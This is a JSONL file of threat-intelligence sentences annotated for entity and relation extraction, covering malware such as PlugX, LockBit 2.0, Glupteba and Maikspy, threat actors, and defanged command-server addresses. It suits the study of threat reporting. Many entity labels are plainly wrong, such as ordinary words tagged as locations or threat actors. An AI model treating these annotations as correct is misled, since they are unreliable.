{"id":13857,"text":"Outages have already started affecting motorists.","entities":[],"relations":[],"Comments":[]}
{"id":13011,"text":"We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[],"relations":[],"Comments":[]}
{"id":3129,"text":"An easy thing you can do is restart your router once a week (typically by unplugging it).","entities":[],"relations":[],"Comments":[]}
{"id":8046,"text":"One of APT35\u2019s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]}
{"id":10897,"text":"Possible connections to StrongPity","entities":[{"id":33177,"label":"threat-actor","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]}
{"id":4718,"text":"Google was able to identify the vulnerability in use and fix the exploit quickly.","entities":[{"id":50616,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":13118,"text":"That\u2019s why we\u2019re delighted to be a launch partner for new AWS Marketplace feature.","entities":[{"id":48902,"label":"SOFTWARE","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
{"id":7371,"text":"Another variant executes a set of commands once a system is successfully compromised.","entities":[],"relations":[],"Comments":[]}
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{"id":3462,"text":"This can be an indication that these malware tools were developed by the same group.","entities":[],"relations":[],"Comments":[]}
{"id":4508,"text":"Spoofers may send forged messages using an organization\u2019s real name or domain to subvert authentication measures.","entities":[],"relations":[],"Comments":[]}
{"id":1232,"text":"Previous attack cases, such as Zitmo and Cardbuyer, showed the risk of using SMS for payment authentication.","entities":[{"id":46613,"label":"malware","start_offset":31,"end_offset":36},{"id":46614,"label":"malware","start_offset":41,"end_offset":50}],"relations":[],"Comments":[]}
{"id":4326,"text":"The file is then loaded in memory via PowerShell.","entities":[{"id":50128,"label":"tools","start_offset":38,"end_offset":48}],"relations":[],"Comments":[]}
{"id":10001,"text":"Internal PlugX date dword value inside the printdat.dll file Mitigating supply chain attacks","entities":[{"id":30529,"label":"malware","start_offset":9,"end_offset":14},{"id":30530,"label":"location","start_offset":15,"end_offset":19},{"id":30531,"label":"location","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]}
{"id":1672,"text":"Upon receipt of a command from the server, a single function is called to decrypt the payload data and execute the received instruction.","entities":[],"relations":[],"Comments":[]}
{"id":14364,"text":"Figure 21. Connection of Maikspy variants to 107[.]180[.]46[.]243 and hxxp:\/\/fakeomegle[.]com  Figure 22. Connection of Maikspy variants to 198[.]12[.]149[.]13and hxxp:\/\/miakhalifagame[.]com\/","entities":[{"id":51779,"label":"URL","start_offset":163,"end_offset":191},{"id":51777,"label":"URL","start_offset":70,"end_offset":93},{"id":51781,"label":"malware","start_offset":120,"end_offset":127},{"id":51778,"label":"IPV4","start_offset":140,"end_offset":159},{"id":51780,"label":"malware","start_offset":25,"end_offset":32},{"id":44372,"label":"IPV4","start_offset":45,"end_offset":65}],"relations":[{"id":1161,"from_id":51780,"to_id":44372,"type":"communicates-with"},{"id":1162,"from_id":51780,"to_id":51777,"type":"communicates-with"},{"id":1163,"from_id":51781,"to_id":51778,"type":"communicates-with"},{"id":1164,"from_id":51781,"to_id":51779,"type":"communicates-with"}],"Comments":[]}
{"id":14030,"text":"We assume there are multiple developers within APT37, and not all of them follow the same practices.","entities":[{"id":47196,"label":"threat-actor","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
{"id":14195,"text":"First comes continuous risk-based patching, multi-factor authentication, network monitoring, least privilege access, data encryption, phishing awareness training, and other cyber-hygiene steps.","entities":[],"relations":[],"Comments":[]}
{"id":1006,"text":"Some accounts advertised candidacy towards registration for student discount at retailers such as Amazon, BestBuy, Apple, and Dell.","entities":[{"id":46508,"label":"identity","start_offset":126,"end_offset":130},{"id":46507,"label":"identity","start_offset":115,"end_offset":120},{"id":46505,"label":"identity","start_offset":98,"end_offset":104},{"id":46506,"label":"identity","start_offset":106,"end_offset":113}],"relations":[],"Comments":[]}
{"id":4635,"text":"HYPERSCRAPE demonstrates Charming Kitten\u2019s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":50555,"label":"malware","start_offset":0,"end_offset":11},{"id":14080,"label":"threat-actor","start_offset":25,"end_offset":40}],"relations":[],"Comments":[]}
{"id":12962,"text":"We haven\u2019t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]}
{"id":20,"text":"The other list is of last week\u2019s campaign by the same attackers (exhaustive or close to it).  Palo Alto Networks Enterprise Security Platform would have stopped this ransomware attack campaign thanks to the platform\u2019s unique integration between the network, endpoint and the cloud to maximize security.","entities":[{"id":45809,"label":"identity","start_offset":94,"end_offset":112}],"relations":[],"Comments":[]}
{"id":586,"text":" Highlights from the 2021 Unit 42 Ransomware Threat Report  Ransomware Threat Assessments: A Companion to the 2021 Unit 42 Ransomware Threat Report  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":1956,"label":"identity","start_offset":26,"end_offset":33},{"id":1958,"label":"identity","start_offset":115,"end_offset":122}],"relations":[],"Comments":[]}
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{"id":4276,"text":"Lately, they have been sending multiple RTF files exploiting CVE-2017-8570.","entities":[{"id":50077,"label":"vulnerability","start_offset":61,"end_offset":74}],"relations":[],"Comments":[]}
{"id":8552,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":26417,"label":"location","start_offset":10,"end_offset":14},{"id":26418,"label":"location","start_offset":89,"end_offset":95},{"id":26419,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
{"id":2640,"text":" Palo Alto Networks customers receive protections against LockBit 2.0 attacks from Cortex XDR, as well as from the WildFire cloud-delivered security subscription for the Next-Generation Firewall.","entities":[{"id":47824,"label":"malware","start_offset":58,"end_offset":69},{"id":45640,"label":"identity","start_offset":1,"end_offset":19},{"id":45642,"label":"SOFTWARE","start_offset":83,"end_offset":93},{"id":45643,"label":"SOFTWARE","start_offset":115,"end_offset":123}],"relations":[],"Comments":[]}
{"id":5670,"text":"This past year, TAG has been collaborating with Google\u2019s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":17466,"label":"malware","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]}
{"id":4633,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[],"relations":[],"Comments":[]}
{"id":843,"text":" Privilege escalation attacks against the kernel have been around for some time and are well-known and can be well protected against.  Kernel APC attacks however are a different class of attack.","entities":[{"id":2760,"label":"attack-pattern","start_offset":1,"end_offset":21},{"id":44889,"label":"attack-pattern","start_offset":135,"end_offset":153}],"relations":[],"Comments":[]}
{"id":8858,"text":"This variant of PlugX (detected by Trend Micro as Backdoor.Win32.PLUGX.DYSGUT), including the code in the BLOB, launches an svchost.exe process and injects to it.","entities":[{"id":27413,"label":"malware","start_offset":16,"end_offset":21},{"id":27415,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
{"id":1521,"text":" If the first value in the packet is 0xCC then the file will set \"g_mainsrvinfo.srandipb\" and \"g_mainsrvinfo.srandipe\".  If the first value in the packet is 0x33 the file will use tcp to download a file and execute it.","entities":[],"relations":[],"Comments":[]}
{"id":2286,"text":"Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.","entities":[{"id":45444,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":8084,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":25069,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
{"id":7455,"text":"Overview of Pawn Storm\u2019s Yahoo credential phishing campaigns.","entities":[{"id":23176,"label":"attack-pattern","start_offset":42,"end_offset":50}],"relations":[],"Comments":[]}
{"id":5765,"text":"How MITRE ATT&CK Assists in Threat Investigation","entities":[],"relations":[],"Comments":[]}
{"id":7278,"text":"According to UTF-8 mapping, the related Unicode code is \"U+FE00\".","entities":[],"relations":[],"Comments":[]}
{"id":1624,"text":" Funtasy  intercepts this message, parses out the PIN and sends it back to the registration server, completing the enrollment process.","entities":[],"relations":[],"Comments":[]}
{"id":4526,"text":"Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations \u2013 in other words, the users who are frequently targeted by surveillance tools.","entities":[],"relations":[],"Comments":[]}
{"id":6707,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":20855,"label":"location","start_offset":13,"end_offset":16},{"id":20856,"label":"location","start_offset":47,"end_offset":55},{"id":20858,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":20859,"label":"location","start_offset":106,"end_offset":109},{"id":20860,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":20861,"label":"location","start_offset":203,"end_offset":206},{"id":20862,"label":"location","start_offset":242,"end_offset":245},{"id":20863,"label":"malware","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]}
{"id":1051,"text":" What our researchers have found is a vulnerability that can be used to more easily enable an \u201coverlay attack,\u201d a type of attack that is already known on the Android platform.","entities":[{"id":46543,"label":"SOFTWARE","start_offset":158,"end_offset":165}],"relations":[],"Comments":[]}
{"id":2906,"text":" The exploit uses the code above to restore the corrupted object and save the stack frame on the heap so that the process would not crash after the exploit is successful.","entities":[],"relations":[],"Comments":[]}
{"id":5231,"text":"We construe AnubisSpy to be linked to the cyberespionage campaign Sphinx (APT-C-15) based on shared file structures and command-and-control (C&C) server as well as targets.","entities":[{"id":51265,"label":"campaign","start_offset":65,"end_offset":83},{"id":51264,"label":"malware","start_offset":12,"end_offset":21}],"relations":[],"Comments":[]}
{"id":3119,"text":" If you have any questions, please visit the Threat & Vulnerability Discussions on our Live Community.","entities":[],"relations":[],"Comments":[]}
{"id":5980,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[{"id":18401,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
{"id":4008,"text":"They also showed real-world implications that these vulnerabilities have.","entities":[],"relations":[],"Comments":[]}
{"id":574,"text":"One of the reasons Ryuk causes so much damage is because it will scan the local network and try to infect other machines through Server Message Block (SMB) protocols.","entities":[{"id":1919,"label":"malware","start_offset":19,"end_offset":23},{"id":46177,"label":"SOFTWARE","start_offset":129,"end_offset":155}],"relations":[],"Comments":[]}
{"id":4414,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
{"id":13506,"text":"While the threat actor has been known to offer its services to a more general audience \u2014 as seen in its online advertisements in the underground \u2014 research from groups such as eQualit.ie and Amnesty International show that Void Balaur is likely also involved in attacks against higher profile victims, ranging from human rights activists and journalists to politicians and even presidential candidates.","entities":[{"id":51574,"label":"identity","start_offset":176,"end_offset":186},{"id":51575,"label":"identity","start_offset":191,"end_offset":213},{"id":51576,"label":"threat-actor","start_offset":223,"end_offset":234}],"relations":[],"Comments":[]}
{"id":4735,"text":"In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.","entities":[{"id":50647,"label":"location","start_offset":89,"end_offset":109},{"id":50643,"label":"TIME","start_offset":3,"end_offset":7},{"id":50644,"label":"attack-pattern","start_offset":37,"end_offset":50},{"id":50645,"label":"location","start_offset":66,"end_offset":71},{"id":50646,"label":"location","start_offset":73,"end_offset":79}],"relations":[],"Comments":[]}
{"id":12503,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":38911,"label":"location","start_offset":16,"end_offset":20},{"id":38913,"label":"malware","start_offset":70,"end_offset":78},{"id":38914,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
{"id":2117,"text":"Palo Alto Networks customers who have deployed the latest vulnerability signatures released on August 24, 2018, are protected.","entities":[{"id":47255,"label":"identity","start_offset":0,"end_offset":18},{"id":47256,"label":"TIME","start_offset":95,"end_offset":110}],"relations":[],"Comments":[]}
{"id":12364,"text":"As the course of the COVID-19 pandemic evolves, we\u2019ve seen threat actors evolve their tactics as well.","entities":[],"relations":[],"Comments":[]}
{"id":13539,"text":"The campaign initially compromised e-commerce online shops in Japan, Australia, and European countries via spam emails with malicious attachments.","entities":[{"id":51605,"label":"attack-pattern","start_offset":107,"end_offset":118},{"id":51606,"label":"campaign","start_offset":4,"end_offset":12},{"id":51607,"label":"identity","start_offset":35,"end_offset":58},{"id":51601,"label":"location","start_offset":62,"end_offset":67},{"id":51602,"label":"location","start_offset":69,"end_offset":78},{"id":51603,"label":"location","start_offset":84,"end_offset":92}],"relations":[{"id":1105,"from_id":51606,"to_id":51607,"type":"targets"},{"id":1106,"from_id":51607,"to_id":51601,"type":"located-at"},{"id":1107,"from_id":51607,"to_id":51602,"type":"located-at"},{"id":1108,"from_id":51607,"to_id":51603,"type":"located-at"},{"id":1110,"from_id":51606,"to_id":51605,"type":"uses"}],"Comments":[]}
{"id":4694,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[],"relations":[],"Comments":[]}
{"id":10597,"text":"Exploiting CVE-2019-0676 enabled attackers to reveal presence or non-presence of files on the victim\u2019s computer; this information was later used to decide whether or not a second stage exploit should be delivered.","entities":[],"relations":[],"Comments":[]}
{"id":308,"text":"This reconnaissance was then leveraged in brute force attacks against credentials, toward unauthorized access, implant installation, and subsequent exfiltration of consumer payment data.","entities":[{"id":1059,"label":"attack-pattern","start_offset":42,"end_offset":53},{"id":46007,"label":"attack-pattern","start_offset":111,"end_offset":131},{"id":46009,"label":"attack-pattern","start_offset":148,"end_offset":185},{"id":46008,"label":"attack-pattern","start_offset":90,"end_offset":109}],"relations":[],"Comments":[]}
{"id":13945,"text":"Maze was one of the first documented cases of this.","entities":[{"id":48760,"label":"malware","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
{"id":3988,"text":"It also establishes a few recommendations for software customers and vendors to prevent and mitigate attacks as well as improve resilience against software supply chain attacks.","entities":[],"relations":[],"Comments":[]}
{"id":4888,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[{"id":50906,"label":"identity","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
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{"id":2039,"text":"What is peculiar about this file is it is a variant of the open-source MicroBackdoor, a backdoor allowing an attacker to browse the file system, upload and download files, execute commands and remove itself from the system (Figure 13).","entities":[{"id":47132,"label":"malware","start_offset":71,"end_offset":84}],"relations":[],"Comments":[]}
{"id":2943,"text":"The tactics and techniques are not new or sophisticated.","entities":[],"relations":[],"Comments":[]}
{"id":14009,"text":"Malware author\u2019s developer environment","entities":[],"relations":[],"Comments":[]}
{"id":3477,"text":"Contents of malicious SFX file used by Blackgear, posing as a Flash Player installer  Figure 4. Malicious document used by Blackgear (top) and how VBScript is used to execute Marade (bottom)","entities":[{"id":49277,"label":"threat-actor","start_offset":38,"end_offset":48},{"id":49278,"label":"SOFTWARE","start_offset":62,"end_offset":74},{"id":49279,"label":"threat-actor","start_offset":123,"end_offset":132},{"id":49280,"label":"malware","start_offset":175,"end_offset":181}],"relations":[],"Comments":[]}
{"id":5439,"text":"Sandworm\u2019s previous high-profile victims and their attacks\u2019 substantial impact on these organizations are particularly worrying \u2014 even more so for a group that quickly learns from past errors, comes back stronger time and time again, and for whom international repercussions seem minimal at best.","entities":[{"id":51440,"label":"threat-actor","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
{"id":10567,"text":"In 2019, we sent almost 40,000 warnings, a nearly 25 percent drop from 2018.","entities":[],"relations":[],"Comments":[]}
{"id":5414,"text":"The samples that we have analyzed are compiled for ARM and are dynamically linked against uClibc.","entities":[],"relations":[],"Comments":[]}
{"id":2342,"text":"They are the equivalent of LoadLibrary and GetProcAddress in Windows.","entities":[{"id":47399,"label":"SOFTWARE","start_offset":61,"end_offset":68}],"relations":[],"Comments":[]}
{"id":2638,"text":" Additionally, LockBit 2.0 has affected many companies globally, with top victims based in the U.S., Italy and Germany.","entities":[{"id":47820,"label":"malware","start_offset":15,"end_offset":26},{"id":47821,"label":"location","start_offset":95,"end_offset":99},{"id":47822,"label":"location","start_offset":101,"end_offset":106},{"id":47823,"label":"location","start_offset":111,"end_offset":118}],"relations":[],"Comments":[]}
{"id":13316,"text":"Nurture a culture of cybersecurity.","entities":[],"relations":[],"Comments":[]}
{"id":9606,"text":"public void ManageTakeOut() { string text = \"PipeName\";","entities":[{"id":29425,"label":"location","start_offset":0,"end_offset":6},{"id":29426,"label":"malware","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
{"id":12588,"text":"For example, the payload we obtained contained a kernel module for capturing keystrokes.","entities":[],"relations":[],"Comments":[]}
{"id":7,"text":"The attacker used a polymorphic malware builder to generate malware with a unique hash for each victim, preventing signature-based solutions from detecting the new attacks before it was too late for the victim.","entities":[],"relations":[],"Comments":[]}
{"id":5268,"text":"Enforcing the principle of least privilege and implementing an app reputation system are just some of the best practices that can help mitigate threats.","entities":[],"relations":[],"Comments":[]}
{"id":13901,"text":"This is the riskiest step so far in the ransomware execution process, as data exfiltration is more likely to be noticed by the victim organization\u2019s security team.","entities":[],"relations":[],"Comments":[]}
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{"id":9406,"text":"Collection Capture Audio T1429 Used to record audio information Collection Capture SMS Messages T1412 Used to collect SMS messages","entities":[{"id":28955,"label":"attack-pattern","start_offset":75,"end_offset":95}],"relations":[],"Comments":[]}
{"id":5423,"text":"But what is evident is that Cyclops Blink is an advanced piece of malware that focuses on persistence and the ability to survive domain sinkhole attempts and the takedown of its infrastructure.","entities":[{"id":51430,"label":"malware","start_offset":28,"end_offset":41}],"relations":[],"Comments":[]}
{"id":7051,"text":"Structure of decrypted data.res file  Lastly, the launcher starts a suspended process with the command line \u201cC:\\Windows\\system32\\svchost.exe -k LocalServices,\u201dand injects the appropriate shellcode into it (either 32- or 64-bit).","entities":[{"id":22104,"label":"location","start_offset":0,"end_offset":9},{"id":22105,"label":"identity","start_offset":223,"end_offset":226}],"relations":[],"Comments":[]}
{"id":10417,"text":"Users should also take full advantage of their network defense solutions by enhancing settings, especially for macro malware attached emails.","entities":[],"relations":[],"Comments":[]}
{"id":14380,"text":"A lot of the advanced security we\u2019ve been delivering on the last few years has been focused on this problem.","entities":[],"relations":[],"Comments":[]}
{"id":5409,"text":"  The NCSC report covered malware targeting a specific vendor, namely WatchGuard.","entities":[{"id":51402,"label":"identity","start_offset":6,"end_offset":10},{"id":51403,"label":"identity","start_offset":70,"end_offset":80}],"relations":[],"Comments":[]}
{"id":14384,"text":"But most of EDR\u2019s capabilities are for endpoints they are on: ones they manage.","entities":[],"relations":[],"Comments":[]}
{"id":9425,"text":"It seems that this hard-coded key and flawed RC4 implementation were also used in a malware family named TigerPlug, probably because it spreads the PlugX malware.","entities":[{"id":29007,"label":"location","start_offset":19,"end_offset":23},{"id":29008,"label":"location","start_offset":34,"end_offset":37},{"id":29010,"label":"malware","start_offset":148,"end_offset":153}],"relations":[],"Comments":[]}
{"id":7151,"text":"     Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":1653,"text":"On July 22, Palo Alto Networks threat intelligence team, Unit 42, released our first report on the evolution of \u201cSilver Spaniel\u201d 419 scammers.","entities":[{"id":45085,"label":"identity","start_offset":12,"end_offset":55},{"id":45086,"label":"identity","start_offset":57,"end_offset":64},{"id":45089,"label":"TIME","start_offset":3,"end_offset":10},{"id":45087,"label":"malware","start_offset":113,"end_offset":127}],"relations":[],"Comments":[]}
{"id":9133,"text":"Lurk\u2019s infrastructure also exhibited new capabilities.","entities":[],"relations":[],"Comments":[]}
{"id":4212,"text":"The displayed Urdu text could be translated as \u201cReal women, girls, and housewives || Download the app now More than thousands of women app.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":3600,"text":"The Premium Plan requires payment and works automatically, while the Private Stub requires the user to contact the support from the service for further personalization.","entities":[],"relations":[],"Comments":[]}
{"id":13173,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":2711,"text":" It is always important to view this type of critical vulnerability in the larger context of the threat landscape.","entities":[],"relations":[],"Comments":[]}
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{"id":3539,"text":"Organizations can also consider managed detection and response, which provides in-depth threat analysis and correlation \u2014 from networks to servers and endpoints \u2014 to obtain a complete picture of and further understand a targeted attack.","entities":[],"relations":[],"Comments":[]}
{"id":2646,"text":" Like other ransomware families such as BlackByte, LockBit 2.0 avoids systems that use Eastern European languages, including many written with Cyrillic alphabets.","entities":[{"id":45646,"label":"malware","start_offset":51,"end_offset":62},{"id":45645,"label":"malware","start_offset":40,"end_offset":49}],"relations":[],"Comments":[]}
{"id":6197,"text":"The first involves injecting malicious code into the webpage via an XSS vulnerability on the webmail system.","entities":[{"id":19149,"label":"attack-pattern","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
{"id":1663,"text":" The shortest possible packet is the \u201cHeartBeat\u201d command, which NetWire generates every 10 seconds.","entities":[{"id":46872,"label":"malware","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
{"id":2524,"text":" These approaches are not particularly clever or sophisticated, but often they are effective.","entities":[],"relations":[],"Comments":[]}
{"id":4606,"text":"The solution allows you to see more and respond faster by collecting and correlating data across email, endpoints, servers, cloud workloads, and networks.","entities":[],"relations":[],"Comments":[]}
{"id":1238,"text":"However, other installed apps are still allowed to receive SMS and upload the content via Internet.","entities":[],"relations":[],"Comments":[]}
{"id":12311,"text":"We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.","entities":[],"relations":[],"Comments":[]}
{"id":13565,"text":"The source code of this framework is shared across many Chinese public forums.","entities":[{"id":51646,"label":"location","start_offset":56,"end_offset":63},{"id":51647,"label":"tools","start_offset":24,"end_offset":33}],"relations":[{"id":1123,"from_id":51647,"to_id":51646,"type":"related-to"}],"Comments":[]}
{"id":2384,"text":"ScrambleCross receives instructions from its command-and-control (C&C) server that allow it to receive and manipulate plug-ins.","entities":[{"id":47449,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
{"id":12505,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: \u201cgit.voltronwork.com\u201d.","entities":[{"id":38916,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
{"id":805,"text":"The impact of a successful credential theft is, ultimately, access and authorization.","entities":[{"id":46359,"label":"attack-pattern","start_offset":27,"end_offset":43}],"relations":[],"Comments":[]}
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{"id":13781,"text":"Meanwhile, the second payload is a typical Waterbear first-stage backdoor.","entities":[],"relations":[],"Comments":[]}
{"id":8210,"text":"A little over two weeks before the registration of the fake domain, the attackers sent the following email to the company:      Figure 6.","entities":[],"relations":[],"Comments":[]}
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{"id":9340,"text":"Trend Micro detects both of the threats as AndroidOS_CallerSpy.HRX.","entities":[],"relations":[],"Comments":[]}
{"id":682,"text":"In a similar way to embedding Adobe Flash files into an Office document, you can also embed equations in documents that will be parsed by Microsoft Equation Editor - a program that lets you easily write mathematical equations: Figure 2.  Microsoft Equation Editor  As in our previous example, vulnerabilities in the equation editor can be exploited by leveraging malicious Office documents.","entities":[{"id":46257,"label":"SOFTWARE","start_offset":30,"end_offset":41},{"id":46258,"label":"SOFTWARE","start_offset":138,"end_offset":163},{"id":46256,"label":"SOFTWARE","start_offset":238,"end_offset":263}],"relations":[],"Comments":[]}
{"id":3006,"text":"This will also protect these apps on your tablets, smartphones, PCs and Macs.","entities":[],"relations":[],"Comments":[]}
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{"id":3302,"text":" GetBrowsersCookies  This command is designed to steal cookie information from browsers.","entities":[],"relations":[],"Comments":[]}
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{"id":12977,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":40404,"label":"location","start_offset":53,"end_offset":56},{"id":40405,"label":"tools","start_offset":71,"end_offset":77},{"id":40406,"label":"location","start_offset":78,"end_offset":81},{"id":40407,"label":"location","start_offset":82,"end_offset":90},{"id":40408,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
{"id":5839,"text":"Ed: Exactly.","entities":[],"relations":[],"Comments":[]}
{"id":623,"text":"One technique includes  the ETERNALBLUE exploit tool.","entities":[{"id":2083,"label":"malware","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]}
{"id":847,"text":" Kernel APC attacks do this using their control over the kernel to redirect APCs: \u201cAsynchronous Procedure Calls\u201d.","entities":[{"id":46395,"label":"attack-pattern","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
{"id":2622,"text":" If you think you may be subject to an active attack or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.","entities":[{"id":45625,"label":"location","start_offset":241,"end_offset":246},{"id":45627,"label":"location","start_offset":217,"end_offset":221},{"id":45624,"label":"location","start_offset":140,"end_offset":153},{"id":45626,"label":"location","start_offset":194,"end_offset":198},{"id":45623,"label":"identity","start_offset":101,"end_offset":131}],"relations":[],"Comments":[]}
{"id":1519,"text":" The Src IP Begin and End are the start and ending IP ranges used as a fake src addresses in the DNS DDoS.  The IP range can also be controlled by global variables within the binary itself as well.","entities":[],"relations":[],"Comments":[]}
{"id":3299,"text":"Figures 21 and 22 show the result of running \u201cSnsInfo\u201d command to enumerate messengers.","entities":[],"relations":[],"Comments":[]}
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{"id":3474,"text":"Protux, a known backdoor, is executed by abusing the rundll32 dynamic-link library (DLL).","entities":[{"id":49273,"label":"malware","start_offset":0,"end_offset":6},{"id":49274,"label":"attack-pattern","start_offset":41,"end_offset":88}],"relations":[{"id":777,"from_id":49273,"to_id":49274,"type":"uses"}],"Comments":[]}
{"id":1030,"text":"Accounts made through this site \"can be used to apply [for] related memberships of Amazon Prime, Microsoft Developer, Adobe and Apple by some secret ways,\" one seller said.","entities":[{"id":46519,"label":"identity","start_offset":83,"end_offset":95},{"id":46522,"label":"identity","start_offset":128,"end_offset":133},{"id":46520,"label":"identity","start_offset":97,"end_offset":106},{"id":46521,"label":"identity","start_offset":118,"end_offset":123}],"relations":[],"Comments":[]}
{"id":1481,"text":"The app developer industry is booming.","entities":[],"relations":[],"Comments":[]}
{"id":1416,"text":" Geographic Distribution of Koluoz Spam Nodes in North America  Thus far we\u2019ve detected the following command and control servers in use.","entities":[{"id":45013,"label":"Infrastucture","start_offset":35,"end_offset":45},{"id":45016,"label":"Infrastucture","start_offset":103,"end_offset":121},{"id":45012,"label":"malware","start_offset":28,"end_offset":34},{"id":45014,"label":"location","start_offset":49,"end_offset":62}],"relations":[{"id":55,"from_id":45012,"to_id":45013,"type":"communicates-with"},{"id":56,"from_id":45013,"to_id":45014,"type":"located-at"}],"Comments":[]}
{"id":950,"text":"The apps this library is embedded in may be legitimate and have significant functionality, but their developer\u2019s choice to use this library has put them at risk.  Technical Details:","entities":[],"relations":[],"Comments":[]}
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{"id":10156,"text":"By looking at the digital fingerprints of these phishing sites and comparing them with a large data set that spans almost five years, we can uniquely relate them to a couple of Pawn Storm incidents in 2016 and 2017.","entities":[{"id":30989,"label":"attack-pattern","start_offset":48,"end_offset":56},{"id":30990,"label":"location","start_offset":57,"end_offset":62},{"id":30991,"label":"location","start_offset":63,"end_offset":66},{"id":30992,"label":"location","start_offset":77,"end_offset":81},{"id":30993,"label":"location","start_offset":89,"end_offset":94},{"id":30995,"label":"location","start_offset":137,"end_offset":140},{"id":30996,"label":"location","start_offset":157,"end_offset":161},{"id":30999,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]}
{"id":4811,"text":"During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.","entities":[{"id":50729,"label":"SOFTWARE","start_offset":78,"end_offset":89},{"id":50730,"label":"TIME","start_offset":116,"end_offset":126},{"id":50731,"label":"attack-pattern","start_offset":156,"end_offset":159},{"id":50727,"label":"threat-actor","start_offset":34,"end_offset":39},{"id":50728,"label":"malware","start_offset":40,"end_offset":49}],"relations":[{"id":998,"from_id":50727,"to_id":50728,"type":"uses"}],"Comments":[]}
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{"id":7796,"text":"However, while initial analysis of the macro it used made us believe that this was from TA505, the macros\u2019 obfuscation and style turned out to be more similar to the ones described in this post, based on the code page, senders, and fast flux.","entities":[{"id":24146,"label":"location","start_offset":53,"end_offset":57},{"id":24148,"label":"location","start_offset":119,"end_offset":122},{"id":24149,"label":"location","start_offset":189,"end_offset":193},{"id":24150,"label":"malware","start_offset":213,"end_offset":217},{"id":24151,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]}
{"id":1420,"text":"WildFire users can rest assured that they\u2019ll be protected from whatever Kuluoz has in-store next.","entities":[{"id":46758,"label":"SOFTWARE","start_offset":0,"end_offset":8},{"id":46759,"label":"malware","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]}
{"id":6471,"text":"The name SharpChisel may be related to the purpose of this file, which is a C# wrapper for a tunneling tool called chisel.","entities":[{"id":20113,"label":"location","start_offset":21,"end_offset":24},{"id":20114,"label":"location","start_offset":103,"end_offset":107},{"id":20115,"label":"malware","start_offset":115,"end_offset":121}],"relations":[],"Comments":[]}
{"id":5041,"text":"We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.","entities":[{"id":51125,"label":"SOFTWARE","start_offset":36,"end_offset":45},{"id":51124,"label":"SOFTWARE","start_offset":26,"end_offset":31}],"relations":[],"Comments":[]}
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{"id":2811,"text":" Unit 42 is following this situation very closely and will update this blog with any new information as it becomes available.","entities":[{"id":45705,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
